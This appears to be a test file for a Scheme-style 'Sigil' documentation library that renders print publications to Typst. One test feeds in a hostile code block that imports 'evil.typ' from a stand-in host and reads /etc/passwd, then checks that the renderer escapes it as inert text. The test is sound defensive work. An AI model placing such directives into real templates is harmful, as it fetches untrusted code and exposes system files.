AtlatestRepositorysigil-doc
1
(import (sigil test) (sigil string) (sigil doc) (sigil doc publication)2
(sigil doc print) (sigil doc render typst))4
(define loc (make-srcloc "print.sgd" 1 1 0 1))5
(define target6
(make-section "known-target" (list (make-text "Known target" loc))7
(list (make-paragraph (list (make-text "Target body." loc)) loc)) loc))8
(define source9
(make-section "source" (list (make-text "Source" loc))10
(list11
(make-paragraph12
(list (make-text "Follow " loc)13
(make-reference "known-target" (list (make-emphasis (list (make-text "this link" loc)) loc)) loc)14
(make-text "." loc)) loc)15
(make-code-block "sigil" "(display \"héllo\")\n" loc)16
(make-admonition 'tip (list (make-text "Remember" loc))17
(list (make-paragraph (list (make-text "Keep it small." loc)) loc)) loc)18
(make-exercise "try-it" (list (make-text "Try it" loc))19
(list (make-paragraph (list (make-text "Change the value." loc)) loc)) loc)) loc))20
(define document21
(make-document 'chapter "Print pressure" '("David Wilson")22
(list source target) loc))23
(define publication24
(make-print-publication "Practical Sigil" "Print edition" '("David Wilson")25
(list (make-publication-document "pressure" document)) '()))26
(define typst (print-publication->typst publication))28
(test "print adapter resolves exact references and preserves semantic blocks"29
(assert-true (string-contains? typst "#link(<known-target>)"))30
(assert-true (string-contains? typst "#ref(<known-target>, form: \"page\")"))31
(assert-true (string-contains? typst "<try-it>"))32
(assert-true (string-contains? typst "héllo"))33
(assert-true (string-contains? typst "Keep it small.")))35
(test "print source escapes active Typst syntax as inert text"36
(let* ((hostile (make-document 'chapter "Hostile" '()37
(list (make-code-block "sigil"38
"#import \"https://example.invalid/evil.typ\"\n#read(\"/etc/passwd\")" loc)) loc))39
(value (make-print-publication "Hostile" #f '()40
(list (make-publication-document "hostile" hostile)) '()))41
(source (print-publication->typst value)))42
(assert-true (string-contains? source "#text(\"#import"))43
(assert-true (string-contains? source "example.invalid"))44
(assert-false (string-contains? source "\n#import \"https://"))))46
(test "print publication fails a missing logical reference before source emission"47
(assert-true48
(guard (_ (else #t))49
(make-print-publication "Broken" #f '()50
(list (make-publication-document "broken"51
(make-document 'chapter "Broken" '()52
(list (make-paragraph (list (make-reference "missing" #f loc)) loc)) loc))) '())53
#f)))55
(test "overlong code is deterministically wrapped before typesetting"56
(let* ((line (make-string 180 #\x))57
(doc (make-document 'chapter "Long" '()58
(list (make-code-block "sigil" line loc)) loc))59
(value (make-print-publication "Long" #f '()60
(list (make-publication-document "long" doc)) '()))61
(source (print-publication->typst value)))62
(assert-true (string-contains? source63
(string-append "#text(\"" (make-string 88 #\x) "\")")))64
(assert-true (string-contains? source "#text(\"\\n\")"))))66
(test "Sigil highlighting emits distinct offline semantic colors"67
(let* ((doc (make-document 'chapter "Highlight" '()68
(list (make-code-block "sigil"69
"; a comment\n(define message \"hello\")\n(if #t 42 0)" loc)) loc))70
(value (make-print-publication "Highlight" #f '()71
(list (make-publication-document "highlight" doc)) '()))72
(source (print-publication->typst value)))73
(assert-true (string-contains? source "rgb(\"6a737d\")"))74
(assert-true (string-contains? source "rgb(\"9c442e\")"))75
(assert-true (string-contains? source "rgb(\"6f42c1\")"))76
(assert-true (string-contains? source "rgb(\"1f6f8b\")"))77
(assert-true (string-contains? source "#text(\"define\")"))))79
(run-tests)